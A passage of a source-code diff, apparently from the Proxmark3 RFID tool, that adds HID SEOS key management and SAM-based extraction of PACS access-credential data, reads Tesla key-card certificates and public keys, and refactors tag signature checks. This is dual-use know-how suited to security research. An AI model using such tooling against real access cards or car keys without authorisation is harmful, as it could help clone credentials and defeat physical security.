i++) { + sprintf(oid_buffer + (i * 2), "%02X", oid_hex[i]); + } + + const char *oid = oid_buffer; + + if (oid_len == 0) { + PrintAndLogEx(ERR, "OID value must be supplied"); + return PM3_ESOFT; + } + + return seos_pacs((char *)oid, oid_len, get_data, get_data_len, key_index); +} + +static int CmdHfSeosManageKeys(const char *Cmd) { + CLIParserContext *ctx; + CLIParserInit(&ctx, "hf seos managekeys", + "Manage SEOS Keys in client memory, keys are required to authenticate with SEOS cards\n", + "hf seos managekeys -p\n" + "hf seos managekeys -p -v\n" + "hf seos managekeys --ki 0 --nonce 0102030405060708 -> Set nonce value at key index 0\n" + "hf seos managekeys --load -f mykeys.bin -p -> load from file and prints keys\n" + "hf seos managekeys --save -f mykeys.bin -> saves keys to file\n" + ); + + void *argtable[] = { + arg_param_begin, + arg_int0(NULL, "ki", "", "Specify key index to set key in memory"), + arg_str0(NULL, "nonce", "", "Nonce value as 8 hex bytes"), + arg_str0(NULL, "privenc", "", "Privacy Encryption key as 16 hex bytes"), + arg_str0(NULL, "privmac", "", "Privacy MAC key as 16 hex bytes"), + arg_str0(NULL, "read", "", "Undiversified Read key as 16 hex bytes"), + arg_str0(NULL, "write", "", "Undiversified Write key as 16 hex bytes"), + arg_str0(NULL, "admin", "", "Undiversified Admin key as 16 hex bytes"), + + arg_str0("f", "file", "", "Specify a filename for load / save operations"), + arg_lit0(NULL, "save", "Save keys in memory to file specified by filename"), + arg_lit0(NULL, "load", "Load keys to memory from file specified by filename"), + + arg_lit0("p", "print", "Print keys loaded into memory"), + arg_lit0("v", "verbose", "verbose (print all key info)"), + arg_param_end + }; + CLIExecWithReturn(ctx, Cmd, argtable, false); + + int fnlen = 0; + char filename[FILE_PATH_SIZE] = {0}; + uint8_t operation = 0; + + uint8_t nonce[8] = {0}; + uint8_t privenc[16] = {0}; + uint8_t privmac[16] = {0}; + uint8_t read[16] = {0}; + uint8_t write[16] = {0}; + uint8_t admin[16] = {0}; + int nonce_len = 0; + int privenc_len = 0; + int privmac_len = 0; + int read_len = 0; + int write_len = 0; + int admin_len = 0; + + int key_index = arg_get_int_def(ctx, 1, -1); + + CLIGetHexWithReturn(ctx, 2, nonce, &nonce_len); + CLIGetHexWithReturn(ctx, 3, privenc, &privenc_len); + CLIGetHexWithReturn(ctx, 4, privmac, &privmac_len); + CLIGetHexWithReturn(ctx, 5, read, &read_len); + CLIGetHexWithReturn(ctx, 6, write, &write_len); + CLIGetHexWithReturn(ctx, 7, admin, &admin_len); + + CLIParamStrToBuf(arg_get_str(ctx, 8), (uint8_t *)filename, FILE_PATH_SIZE, &fnlen); + + if (key_index >= 0) { + operation += 3; + if (key_index < 4) { + if (nonce_len != 0) { + PrintAndLogEx(SUCCESS, "Current value for nonce[%d] " _GREEN_("%s"), key_index, sprint_hex_inrow(keys[key_index].nonce, 8)); + } + if (privenc_len != 0) { + PrintAndLogEx(SUCCESS, "Current value for Priv Enc[%d] " _GREEN_("%s"), key_index, sprint_hex_inrow(keys[key_index].privEncKey, 16)); + } + if (privmac_len != 0) { + PrintAndLogEx(SUCCESS, "Current value for Priv Mac[%d] " _GREEN_("%s"), key_index, sprint_hex_inrow(keys[key_index].privMacKey, 16)); + } + if (read_len != 0) { + PrintAndLogEx(SUCCESS, "Current value for Read Key[%d] " _GREEN_("%s"), key_index, sprint_hex_inrow(keys[key_index].readKey, 16)); + } + if (write_len != 0) { + PrintAndLogEx(SUCCESS, "Current value for Write Key[%d] " _GREEN_("%s"), key_index, sprint_hex_inrow(keys[key_index].writeKey, 16)); + } + if (admin_len != 0) { + PrintAndLogEx(SUCCESS, "Current value for Admin Key[%d] " _GREEN_("%s"), key_index, sprint_hex_inrow(keys[key_index].adminKey, 16)); + } + } else { + PrintAndLogEx(ERR, "Key index is out-of-range"); + CLIParserFree(ctx); + return PM3_EINVARG; + } + } + + if (arg_get_lit(ctx, 9)) { //save + operation += 6; + } + if (arg_get_lit(ctx, 10)) { //load + operation += 5; + } + if (arg_get_lit(ctx, 11)) { //print + operation += 4; + } + + bool verbose = arg_get_lit(ctx, 12); + + CLIParserFree(ctx); + + if (operation == 0) { + PrintAndLogEx(ERR, "No operation specified (load, save, or print)\n"); + return PM3_EINVARG; + } + if (operation > 6) { + PrintAndLogEx(ERR, "Too many operations specified\n"); + return PM3_EINVARG; + } + if (operation > 4 && fnlen == 0) { + PrintAndLogEx(ERR, "You must enter a filename when loading or saving\n"); + return PM3_EINVARG; + } + if (((nonce_len > 0) || (privenc_len > 0) || (privmac_len > 0) || (read_len > 0) || (write_len > 0) || (admin_len > 0)) && key_index == -1) { + PrintAndLogEx(ERR, "Please specify key index when specifying key"); + return PM3_EINVARG; + } + + switch (operation) { + case 3: + if (nonce_len != 0) { + memcpy(keys[key_index].nonce, nonce, 8); + PrintAndLogEx(SUCCESS, "New value for nonce[%d] " _GREEN_("%s"), key_index, sprint_hex_inrow(keys[key_index].nonce, 8)); + } + if (privenc_len != 0) { + memcpy(keys[key_index].privEncKey, privenc, 16); + PrintAndLogEx(SUCCESS, "New value for Priv Enc[%d] " _GREEN_("%s"), key_index, sprint_hex_inrow(keys[key_index].privEncKey, 16)); + } + if (privmac_len != 0) { + memcpy(keys[key_index].privMacKey, privmac, 16); + PrintAndLogEx(SUCCESS, "New value for Priv Mac[%d] " _GREEN_("%s"), key_index, sprint_hex_inrow(keys[key_index].privMacKey, 16)); + } + if (read_len != 0) { + memcpy(keys[key_index].readKey, read, 16); + PrintAndLogEx(SUCCESS, "New value for Read Key[%d] " _GREEN_("%s"), key_index, sprint_hex_inrow(keys[key_index].readKey, 16)); + } + if (write_len != 0) { + memcpy(keys[key_index].writeKey, write, 16); + PrintAndLogEx(SUCCESS, "New value for Write Key[%d] " _GREEN_("%s"), key_index, sprint_hex_inrow(keys[key_index].writeKey, 16)); + } + if (admin_len != 0) { + memcpy(keys[key_index].adminKey, admin, 16); + PrintAndLogEx(SUCCESS, "New value for Admin Key[%d] " _GREEN_("%s"), key_index, sprint_hex_inrow(keys[key_index].adminKey, 16)); + } + return PM3_SUCCESS; + case 4: + return seos_print_keys(verbose); + case 5: + return seos_load_keys(filename); + case 6: { + bool isOK = saveFile(filename, ".bin", keys, sizeof(keys)); + if (isOK == false) { + return PM3_EFILE; + } + return PM3_SUCCESS; + } + } + + return PM3_SUCCESS; +} + static int CmdHfSeosList(const char *Cmd) { return CmdTraceListAlias(Cmd, "hf seos", "seos -c"); } +static int CmdHfSeosSAM(const char *Cmd) { + CLIParserContext *ctx; + CLIParserInit(&ctx, "hf seos sam", + "Extract PACS information via a HID SAM\n" + "Make sure you got a SAM inserted in your sim module", + "hf seos sam\n" + "hf seos sam -d a005a103800104 -> get PACS data\n" + ); + + void *argtable[] = { + arg_param_begin, + arg_lit0("v", "verbose", "verbose output"), + arg_lit0("k", "keep", "keep the field active after command executed"), + arg_lit0("n", "nodetect", "skip selecting the card and sending card details to SAM"), + arg_lit0("t", "tlv", "decode TLV"), + arg_strx0("d", "data", "", "DER encoded command to send to SAM"), + arg_param_end + }; + CLIExecWithReturn(ctx, Cmd, argtable, true); + + bool verbose = arg_get_lit(ctx, 1); + bool disconnectAfter = !arg_get_lit(ctx, 2); + bool skipDetect = arg_get_lit(ctx, 3); + bool decodeTLV = arg_get_lit(ctx, 4); + + uint8_t flags = 0; + if (disconnectAfter) { + flags |= BITMASK(0); + } + + if (skipDetect) { + flags |= BITMASK(1); + } + + uint8_t data[PM3_CMD_DATA_SIZE] = {0}; + data[0] = flags; + + int cmdlen = 0; + if (CLIParamHexToBuf(arg_get_str(ctx, 5), data + 1, PM3_CMD_DATA_SIZE - 1, &cmdlen) != PM3_SUCCESS) { + CLIParserFree(ctx); + return PM3_ESOFT; + } + + CLIParserFree(ctx); + + if (IsHIDSamPresent(verbose) == false) { + return PM3_ESOFT; + } + + // iceman: this command should use a struct for its data being transfered. + + clearCommandBuffer(); + SendCommandNG(CMD_HF_SAM_SEOS, data, cmdlen + 1); + PacketResponseNG resp; + if (WaitForResponseTimeout(CMD_HF_SAM_SEOS, &resp, 4000) == false) { + PrintAndLogEx(WARNING, "timeout while waiting for reply"); + return PM3_ETIMEOUT; + } + + switch (resp.status) { + case PM3_SUCCESS: { + break; + } + case PM3_ENOPACS: { + PrintAndLogEx(SUCCESS, "No PACS data found. Card empty?"); + return resp.status; + } + default: { + PrintAndLogEx(WARNING, "SAM select failed"); + return resp.status; + } + } + + uint8_t *d = resp.data.asBytes; + // check for standard SamCommandGetContentElement response + // bd 09 + // 8a 07 + // 03 05 <- tag + length + // 06 85 80 6d c0 <- decoded PACS data + if (d[0] == 0xBD && d[2] == 0x8A && d[4] == 0x03) { + uint8_t pacs_length = d[5]; + uint8_t *pacs_data = d + 6; + int res = HIDDumpPACSBits(pacs_data, pacs_length, verbose); + if (res != PM3_SUCCESS) { + return res; + } + // check for standard samCommandGetContentElement2: + // bd 1e + // b3 1c + // a0 1a + // 80 05 + // 06 85 80 6d c0 + // 81 0e + // 2b 06 01 04 01 81 e4 38 01 01 02 04 3c ff + // 82 01 + // 07 + } else if (d[0] == 0xbd && d[2] == 0xb3 && d[4] == 0xa0) { + const uint8_t *pacs = d + 6; + const uint8_t pacs_length = pacs[1]; + const uint8_t *pacs_data = pacs + 2; + int res = HIDDumpPACSBits(pacs_data, pacs_length, verbose); + if (res != PM3_SUCCESS) { + return res; + } + + const uint8_t *oid = pacs + 2 + pacs_length; + const uint8_t oid_length = oid[1]; + const uint8_t *oid_data = oid + 2; + PrintAndLogEx(SUCCESS, "SIO OID.......: " _GREEN_("%s"), sprint_hex_inrow(oid_data, oid_length)); + + const uint8_t *mediaType = oid + 2 + oid_length; + const uint8_t mediaType_data = mediaType[2]; + PrintAndLogEx(SUCCESS, "SIO Media Type: " _GREEN_("%s"), getSioMediaTypeInfo(mediaType_data)); + + } else { + print_hex(d, resp.length); + } + if (decodeTLV) { + asn1_print(d, d[1] + 2, " "); + } + + return PM3_SUCCESS; +} + static command_t CommandTable[] = { - {"help", CmdHelp, AlwaysAvailable, "This help"}, - {"info", CmdHfSeosInfo, IfPm3NfcBarcode, "Tag information"}, - {"list", CmdHfSeosList, AlwaysAvailable, "List SEOS history"}, + {"-----------", CmdHelp, AlwaysAvailable, "----------------------- " _CYAN_("General") " -----------------------"}, + {"help", CmdHelp, AlwaysAvailable, "This help"}, + {"list", CmdHfSeosList, AlwaysAvailable, "List SEOS history"}, + {"sam", CmdHfSeosSAM, IfPm3Smartcard, "SAM tests"}, + {"-----------", CmdHelp, AlwaysAvailable, "----------------------- " _CYAN_("Operations") " -----------------------"}, + {"info", CmdHfSeosInfo, IfPm3Iso14443a, "Tag information"}, + {"pacs", CmdHfSeosPACS, AlwaysAvailable, "Extract PACS Information from card"}, + {"adf", CmdHfSeosADF, AlwaysAvailable, "Read an ADF from the card"}, + {"gdf", CmdHfSeosGDF, AlwaysAvailable, "Read an GDF from card"}, + {"-----------", CmdHelp, AlwaysAvailable, "----------------------- " _CYAN_("Utils") " -----------------------"}, + {"managekeys", CmdHfSeosManageKeys, AlwaysAvailable, "Manage keys to use with SEOS commands"}, {NULL, NULL, NULL, NULL} }; @@ -132,3 +1786,4 @@ int CmdHFSeos(const char *Cmd) { clearCommandBuffer(); return CmdsParse(CommandTable, Cmd); } + diff --git a/client/src/cmdhfseos.h b/client/src/cmdhfseos.h index 32ffb6510..46ce3d32e 100644 --- a/client/src/cmdhfseos.h +++ b/client/src/cmdhfseos.h @@ -21,7 +21,14 @@ #include "common.h" +#define SEOS_ENCRYPTION_2K3DES 0x02 +#define SEOS_ENCRYPTION_3K3DES 0x03 +#define SEOS_ENCRYPTION_AES 0x09 + +#define SEOS_HASHING_SHA1 0x06 +#define SEOS_HASHING_SHA256 0x07 int infoSeos(bool verbose); int CmdHFSeos(const char *Cmd); - +int seos_kdf(bool encryption, uint8_t *masterKey, uint8_t keyslot, + uint8_t *adfOid, size_t adfoid_len, uint8_t *diversifier, uint8_t diversifier_len, uint8_t *out, int encryption_algorithm, int hash_algorithm); #endif diff --git a/client/src/cmdhfst25ta.c b/client/src/cmdhfst25ta.c index 4298bde7d..b2846b689 100644 --- a/client/src/cmdhfst25ta.c +++ b/client/src/cmdhfst25ta.c @@ -33,6 +33,7 @@ #include "commonutil.h" // get_sw #include "protocols.h" // ISO7816 APDU return codes #include "crypto/libpcrypto.h" // ecdsa +#include "crypto/originality.h" #define TIMEOUT 2000 @@ -148,45 +149,8 @@ static void print_st25ta_system_info(uint8_t *d, uint8_t n) { } static int print_st25ta_signature(uint8_t *uid, uint8_t *signature) { - -#define PUBLIC_ECDA_KEYLEN 33 - // known public keys for the originality check (source: https://github.com/alexbatalov/node-nxp-originality-verifier) - // ref: AN11350 NTAG 21x Originality Signature Validation - // ref: AN11341 MIFARE Ultralight EV1 Originality Signature Validation - const ecdsa_publickey_t nxp_mfu_public_keys[] = { - {"NXP MIFARE Classic MFC1C14_x", "044F6D3F294DEA5737F0F46FFEE88A356EED95695DD7E0C27A591E6F6F65962BAF"}, - {"MIFARE Classic / QL88", "046F70AC557F5461CE5052C8E4A7838C11C7A236797E8A0730A101837C004039C2"}, - {"NXP ICODE DNA, ICODE SLIX2", "048878A2A2D3EEC336B4F261A082BD71F9BE11C4E2E896648B32EFA59CEA6E59F0"}, - {"NXP Public key", "04A748B6A632FBEE2C0897702B33BEA1C074998E17B84ACA04FF267E5D2C91F6DC"}, - {"NXP Ultralight Ev1", "0490933BDCD6E99B4E255E3DA55389A827564E11718E017292FAF23226A96614B8"}, - {"NXP NTAG21x (2013)", "04494E1A386D3D3CFE3DC10E5DE68A499B1C202DB5B132393E89ED19FE5BE8BC61"}, - {"MIKRON Public key", "04F971EDA742A4A80D32DCF6A814A707CC3DC396D35902F72929FDCD698B3468F2"}, - {"VivoKey Spark1 Public key", "04D64BB732C0D214E7EC580736ACF847284B502C25C0F7F2FA86AACE1DADA4387A"}, - {"TruST25 (ST) key 01?", "041D92163650161A2548D33881C235D0FB2315C2C31A442F23C87ACF14497C0CBA"}, - {"TruST25 (ST) key 04?", "04101E188A8B4CDDBC62D5BC3E0E6850F0C2730E744B79765A0E079907FBDB01BC"}, - }; - - PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(INFO, "--- " _CYAN_("Tag Signature")); - - for (uint8_t i = 0; i < ARRAYLEN(nxp_mfu_public_keys); i++) { - - int dl = 0; - uint8_t key[PUBLIC_ECDA_KEYLEN] = {0}; - param_gethex_to_eol(nxp_mfu_public_keys[i].value, 0, key, PUBLIC_ECDA_KEYLEN, &dl); - - int res = ecdsa_signature_r_s_verify(MBEDTLS_ECP_DP_SECP128R1, key, uid, 7, signature, 32, true); - - if (res == 0) { - PrintAndLogEx(INFO, " IC signature public key name: " _GREEN_("%s"), nxp_mfu_public_keys[i].desc); - PrintAndLogEx(INFO, "IC signature public key value: %s", nxp_mfu_public_keys[i].value); - PrintAndLogEx(INFO, " Elliptic curve parameters: NID_secp128r1"); - PrintAndLogEx(INFO, " TAG IC Signature: %s", sprint_hex_inrow(signature, 32)); - PrintAndLogEx(SUCCESS, " Signature verification ( " _GREEN_("successful") " )"); - return PM3_SUCCESS; - } - } - return PM3_ESOFT; + int index = originality_check_verify_ex(uid, 7, signature, 32, PK_ST25TA, false, true); + return originality_check_print(signature, 32, index); } static int st25ta_get_signature(uint8_t *signature) { @@ -218,7 +182,13 @@ static int st25ta_get_signature(uint8_t *signature) { } activate_field = false; } - + if (resplen != 32) { + if ((resplen == 2) && (resp[0] == 0x69) && (resp[1] == 0x82)) { + PrintAndLogEx(WARNING, "GetSignature: Security status not satisfied"); + } + DropField(); + return PM3_ESOFT; + } if (signature) { memcpy(signature, resp, 32); } diff --git a/client/src/cmdhftesla.c b/client/src/cmdhftesla.c index e1687a170..bf42f84cb 100644 --- a/client/src/cmdhftesla.c +++ b/client/src/cmdhftesla.c @@ -24,6 +24,7 @@ #include "cmdtrace.h" #include "cliparser.h" #include "cmdhf14a.h" +#include "crypto/asn1utils.h" // ASN1 decode / print #include "protocols.h" // definitions of ISO14A/7816 protocol #include "iso7816/apduinfo.h" // GetAPDUCodeDescription #include "commonutil.h" // get_sw @@ -32,6 +33,7 @@ #include "cmdhf14a.h" // apdu chaining #define TIMEOUT 2000 +#define MAX_CERT_SIZE 768 static int CmdHelp(const char *Cmd); @@ -51,17 +53,22 @@ static int CmdHelp(const char *Cmd); */ // TESLA -static int info_hf_tesla(void) { +static int info_hf_tesla(bool parse_certs) { bool activate_field = true; bool keep_field_on = true; - uint8_t response[PM3_CMD_DATA_SIZE]; + uint8_t response[MAX_CERT_SIZE]; // Some cards have pretty large certificates int resplen = 0; + + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(INFO, "--- " _CYAN_("Tag Information") " ---------------------------"); + PrintAndLogEx(NORMAL, ""); + // --------------- Select TESLA application ---------------- uint8_t aSELECT_AID[80]; int aSELECT_AID_n = 0; - param_gethex_to_eol("00a404000a7465736c614c6f676963", 0, aSELECT_AID, sizeof(aSELECT_AID), &aSELECT_AID_n); + param_gethex_to_eol("00a404000a7465736c614c6f67696300", 0, aSELECT_AID, sizeof(aSELECT_AID), &aSELECT_AID_n); int res = ExchangeAPDU14a(aSELECT_AID, aSELECT_AID_n, activate_field, keep_field_on, response, sizeof(response), &resplen); if (res != PM3_SUCCESS) { DropField(); @@ -73,7 +80,7 @@ static int info_hf_tesla(void) { if ((resplen < 2) || (sw != ISO7816_OK)) { - param_gethex_to_eol("00a404000af465736c614c6f676963", 0, aSELECT_AID, sizeof(aSELECT_AID), &aSELECT_AID_n); + param_gethex_to_eol("00a404000af465736c614c6f67696300", 0, aSELECT_AID, sizeof(aSELECT_AID), &aSELECT_AID_n); res = ExchangeAPDU14a(aSELECT_AID, aSELECT_AID_n, activate_field, keep_field_on, response, sizeof(response), &resplen); if (res != PM3_SUCCESS) { DropField(); @@ -92,9 +99,9 @@ static int info_hf_tesla(void) { // --------------- ECDH public key file reading ---------------- - uint8_t pk[3][65] = {{0}}; + uint8_t pk[4][65] = {{0}}; - for (uint8_t i = 0; i < 3; i++) { + for (uint8_t i = 0; i < 4; i++) { uint8_t aSELECT_PK[5] = {0x80, 0x04, i, 0x00, 0x00}; res = ExchangeAPDU14a(aSELECT_PK, sizeof(aSELECT_PK), activate_field, keep_field_on, response, sizeof(response), &resplen); @@ -110,7 +117,7 @@ static int info_hf_tesla(void) { uint8_t aREAD_FORM_FACTOR[30]; int aREAD_FORM_FACTOR_n = 0; - param_gethex_to_eol("80140000", 0, aREAD_FORM_FACTOR, sizeof(aREAD_FORM_FACTOR), &aREAD_FORM_FACTOR_n); + param_gethex_to_eol("8014000000", 0, aREAD_FORM_FACTOR, sizeof(aREAD_FORM_FACTOR), &aREAD_FORM_FACTOR_n); res = ExchangeAPDU14a(aREAD_FORM_FACTOR, aREAD_FORM_FACTOR_n, activate_field, keep_field_on, response, sizeof(response), &resplen); if (res != PM3_SUCCESS) { DropField(); @@ -149,23 +156,58 @@ static int info_hf_tesla(void) { Set_apdu_in_framing(true); for (uint8_t i = 0; i < 5; i++) { - uint8_t aSELECT_CERT[PM3_CMD_DATA_SIZE] = {0x80, 0x06, i, 0x00, 0x00, 0x00, 0xFF}; - int aSELECT_CERT_n = 7; + // First, read the certificate length + uint8_t aSELECT_CERT[PM3_CMD_DATA_SIZE] = {0x80, 0x06, i, 0x00, 0x04}; + int aSELECT_CERT_n = 5; - res = ExchangeAPDU14a(aSELECT_CERT, aSELECT_CERT_n, activate_field, keep_field_on, response, PM3_CMD_DATA_SIZE, &resplen); + res = ExchangeAPDU14a(aSELECT_CERT, aSELECT_CERT_n, activate_field, keep_field_on, response, sizeof(response), &resplen); if (res != PM3_SUCCESS) { + PrintAndLogEx(ERR, "Could not read certificate %i length", i); continue; } sw = get_sw(response, resplen); + bool cert_len_present = false; - if (sw == ISO7816_OK) { - // save CERT for later - uint8_t cert[515] = {0}; - memcpy(cert, response, resplen - 2); - + if (sw == ISO7816_OK && resplen > 3) { + uint16_t cert_len = response[0] << 8 | response[1]; PrintAndLogEx(INFO, "CERT # %i", i); - PrintAndLogEx(INFO, "%s", sprint_hex_inrow(cert, resplen - 2)); + if (cert_len == 0x3082) { + cert_len = (response[2] << 8 | response[3]) + 4; + PrintAndLogEx(INFO, "Length (calculated from ASN.1): %i", cert_len); + } else { + PrintAndLogEx(INFO, "Length (included at start of cert slot): %i", cert_len); + cert_len_present = true; + } + cert_len += 2; // Add 2 bytes for the 9000 at the end + // Read the entire cert (extended length APDU) + aSELECT_CERT[4] = 0x00; + aSELECT_CERT[5] = (cert_len >> 8) & 0xff; + aSELECT_CERT[6] = cert_len & 0xff; + aSELECT_CERT_n = 7; + + res = ExchangeAPDU14a(aSELECT_CERT, aSELECT_CERT_n, activate_field, keep_field_on, response, sizeof(response), &resplen); + if (res != PM3_SUCCESS) { + PrintAndLogEx(ERR, "Could not read certificate %i (return code %i)", i, res); + continue; + } + + sw = get_sw(response, resplen); + if (sw == ISO7816_OK) { + // save CERT for later + uint8_t cert[MAX_CERT_SIZE] = {0}; + memcpy(cert, response, resplen - 2); + + PrintAndLogEx(INFO, "%s", sprint_hex_inrow(cert + (cert_len_present ? 2 : 0), resplen - 2)); + if (parse_certs) { + asn1_print(cert + (cert_len_present ? 2 : 0), cert_len - 2, " "); + } + } + } else if (sw == 0x6f17) { + PrintAndLogEx(INFO, "CERT # %i", i); + PrintAndLogEx(INFO, "No certificate in slot %i", i); + } else { + PrintAndLogEx(ERR, "Could not read certificate %i", i); } } Set_apdu_in_framing(false); @@ -175,30 +217,28 @@ static int info_hf_tesla(void) { // vehicle public key , 16 byte CHALLENGE // 00112233445566778899AABBCCDDEEFF // 0x51 = 81 dec -// param_gethex_to_eol("8011000051 046F08AE62526ABB5690643458152AC963CF5D7C113949F3C2453D1DDC6E4385B430523524045A22F5747BF236F1B5F60F0EA32DC2B8276D75ACDE9813EF77C330 00112233445566778899AABBCCDDEEFF", 0, aAUTH, sizeof(aAUTH), &aAUTH_n); - param_gethex_to_eol("8011000051046F08AE62526ABB5690643458152AC963CF5D7C113949F3C2453D1DDC6E4385B430523524045A22F5747BF236F1B5F60F0EA32DC2B8276D75ACDE9813EF77C33000112233445566778899AABBCCDDEEFF", 0, aAUTH, sizeof(aAUTH), &aAUTH_n); + // param_gethex_to_eol("8011000051 046F08AE62526ABB5690643458152AC963CF5D7C113949F3C2453D1DDC6E4385B430523524045A22F5747BF236F1B5F60F0EA32DC2B8276D75ACDE9813EF77C330 00112233445566778899AABBCCDDEEFF", 0, aAUTH, sizeof(aAUTH), &aAUTH_n); + param_gethex_to_eol("8011000051046F08AE62526ABB5690643458152AC963CF5D7C113949F3C2453D1DDC6E4385B430523524045A22F5747BF236F1B5F60F0EA32DC2B8276D75ACDE9813EF77C33000112233445566778899AABBCCDDEEFF00", 0, aAUTH, sizeof(aAUTH), &aAUTH_n); res = ExchangeAPDU14a(aAUTH, aAUTH_n, activate_field, keep_field_on, response, sizeof(response), &resplen); if (res != PM3_SUCCESS) { - DropField(); - return res; - } + PrintAndLogEx(ERR, "Could not exchange authentication challenge"); + } else { - uint8_t auth[resplen - 2]; + uint8_t auth[resplen - 2]; - sw = get_sw(response, resplen); - if (sw == ISO7816_OK) { - // store CHALLENGE for later - memcpy(auth, response, sizeof(auth)); + sw = get_sw(response, resplen); + if (sw == ISO7816_OK) { + // store CHALLENGE for later + memcpy(auth, response, sizeof(auth)); + } + PrintAndLogEx(INFO, "CHALL......... %s", sprint_hex_inrow(auth, sizeof(auth))); } keep_field_on = false; - DropField(); + DropField(); // No further interaction with the card is needed - PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(INFO, "--- " _CYAN_("Tag Information") " ---------------------------"); - PrintAndLogEx(NORMAL, ""); PrintAndLogEx(INFO, "PUBLIC KEY"); - for (int i = 0; i < 3; i++) { + for (int i = 0; i < 4; i++) { PrintAndLogEx(INFO, "%d - %s", i, sprint_hex_inrow(pk[i], 65)); } PrintAndLogEx(INFO, "Form factor... %s " NOLF, sprint_hex_inrow(form_factor, sizeof(form_factor))); @@ -207,16 +247,33 @@ static int info_hf_tesla(void) { switch (form_factor_value) { case 0x0001: - PrintAndLogEx(NORMAL, "( card )"); + PrintAndLogEx(NORMAL, "(NXP P60 card)"); + break; + case 0x0002: + PrintAndLogEx(NORMAL, "(NXP P71 card)"); + break; + case 0x0021: + PrintAndLogEx(NORMAL, "(Model 3 fob without passive entry)"); break; case 0x0022: - PrintAndLogEx(NORMAL, "( fob )"); + PrintAndLogEx(NORMAL, "(Model 3 fob with passive entry)"); + break; + case 0x0023: + case 0x0025: + case 0x0026: + PrintAndLogEx(NORMAL, "(Model S fob)"); + break; + case 0x0024: + PrintAndLogEx(NORMAL, "(Model X fob)"); break; case 0x0031: - PrintAndLogEx(NORMAL, "( phone app )"); + PrintAndLogEx(NORMAL, "(Android phone app with NFC)"); + break; + case 0x0032: + PrintAndLogEx(NORMAL, "(iOS phone app with NFC)"); break; default: - PrintAndLogEx(NORMAL, "( unknown )"); + PrintAndLogEx(NORMAL, "(Unknown)"); break; } @@ -224,8 +281,6 @@ static int info_hf_tesla(void) { PrintAndLogEx(INFO, "Version....... %s", sprint_hex_inrow(version, sizeof(version))); } - PrintAndLogEx(INFO, "CHALL......... %s", sprint_hex_inrow(auth, sizeof(auth))); - PrintAndLogEx(INFO, "Fingerprint"); if ((memcmp(pk[0], pk[1], 65) == 0)) { PrintAndLogEx(INFO, " GaussKey detected"); @@ -244,11 +299,14 @@ static int CmdHFTeslaInfo(const char *Cmd) { void *argtable[] = { arg_param_begin, + arg_lit0("p", "parse", "Parse the certificates as ASN.1"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, true); + + bool parse_certs = arg_get_lit(ctx, 1); CLIParserFree(ctx); - return info_hf_tesla(); + return info_hf_tesla(parse_certs); } static int CmdHFTeslaList(const char *Cmd) { diff --git a/client/src/cmdhftexkom.c b/client/src/cmdhftexkom.c index b033050ba..8a6cee6f2 100644 --- a/client/src/cmdhftexkom.c +++ b/client/src/cmdhftexkom.c @@ -623,7 +623,7 @@ int read_texkom_uid(bool loop, bool verbose) { } } - } while (loop && kbd_enter_pressed() == false); + } while (loop && (kbd_enter_pressed() == false)); return PM3_SUCCESS; } @@ -664,7 +664,7 @@ static int CmdHFTexkomReader(const char *Cmd) { SendCommandNG(CMD_HF_ACQ_RAW_ADC, (uint8_t *)&samplesCount, sizeof(uint32_t)); PacketResponseNG resp; - if (!WaitForResponseTimeout(CMD_HF_ACQ_RAW_ADC, &resp, 2500)) { + if (WaitForResponseTimeout(CMD_HF_ACQ_RAW_ADC, &resp, 2500) == false) { PrintAndLogEx(WARNING, "command execution time out"); return PM3_ETIMEOUT; } diff --git a/client/src/cmdhfthinfilm.c b/client/src/cmdhfthinfilm.c index 74a76e788..fa7921dc6 100644 --- a/client/src/cmdhfthinfilm.c +++ b/client/src/cmdhfthinfilm.c @@ -125,8 +125,8 @@ int infoThinFilm(bool verbose) { SendCommandNG(CMD_HF_THINFILM_READ, NULL, 0); PacketResponseNG resp; - if (!WaitForResponseTimeout(CMD_HF_THINFILM_READ, &resp, 1500)) { - PrintAndLogEx(WARNING, "timeout while waiting for reply."); + if (WaitForResponseTimeout(CMD_HF_THINFILM_READ, &resp, 1500) == false) { + PrintAndLogEx(WARNING, "timeout while waiting for reply"); return PM3_ETIMEOUT; } @@ -186,9 +186,16 @@ int CmdHfThinFilmSim(const char *Cmd) { int ret; while (!(ret = kbd_enter_pressed())) { - if (WaitForResponseTimeout(CMD_HF_THINFILM_SIMULATE, &resp, 500) == 0) continue; - if (resp.status != PM3_SUCCESS) break; + + if (WaitForResponseTimeout(CMD_HF_THINFILM_SIMULATE, &resp, 500) == false) { + continue; + } + + if (resp.status != PM3_SUCCESS) { + break; + } } + if (ret) { PrintAndLogEx(INFO, "Client side interrupted"); PrintAndLogEx(WARNING, "Simulation still running on Proxmark3 till next command or button press"); diff --git a/client/src/cmdhftopaz.c b/client/src/cmdhftopaz.c index dba9d65c4..ca3efdaa3 100644 --- a/client/src/cmdhftopaz.c +++ b/client/src/cmdhftopaz.c @@ -54,7 +54,7 @@ static int topaz_send_cmd_raw(uint8_t *cmd, uint8_t len, uint8_t *response, uint SendCommandMIX(CMD_HF_ISO14443A_READER, ISO14A_RAW | ISO14A_NO_DISCONNECT | ISO14A_TOPAZMODE | ISO14A_NO_RATS, len, 0, cmd, len); PacketResponseNG resp; if (WaitForResponseTimeout(CMD_ACK, &resp, 1500) == false) { - if (verbose) PrintAndLogEx(WARNING, "timeout while waiting for reply."); + if (verbose) PrintAndLogEx(WARNING, "timeout while waiting for reply"); return PM3_ETIMEOUT; } @@ -109,7 +109,7 @@ static int topaz_select(uint8_t *atqa, uint8_t atqa_len, uint8_t *rid_response, } // read all of the static memory of a selected Topaz tag. -static int topaz_rall(uint8_t *uid, uint8_t *response) { +static int topaz_rall(const uint8_t *uid, uint8_t *response) { uint16_t resp_len = 124; uint8_t rall_cmd[] = {TOPAZ_RALL, 0, 0, 0, 0, 0, 0, 0, 0}; @@ -362,6 +362,7 @@ static int topaz_set_cc_dynamic(const uint8_t *data) { topaz_tag.size = memsize; topaz_tag.dynamic_memory = calloc(memsize - TOPAZ_STATIC_MEMORY, sizeof(uint8_t)); if (topaz_tag.dynamic_memory == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } return PM3_SUCCESS; @@ -542,11 +543,19 @@ static void topaz_print_control_TLVs(uint8_t *memory) { if (old == NULL) { new = topaz_tag.dynamic_lock_areas = (dynamic_lock_area_t *) calloc(sizeof(dynamic_lock_area_t), sizeof(uint8_t)); + if (new == NULL) { + 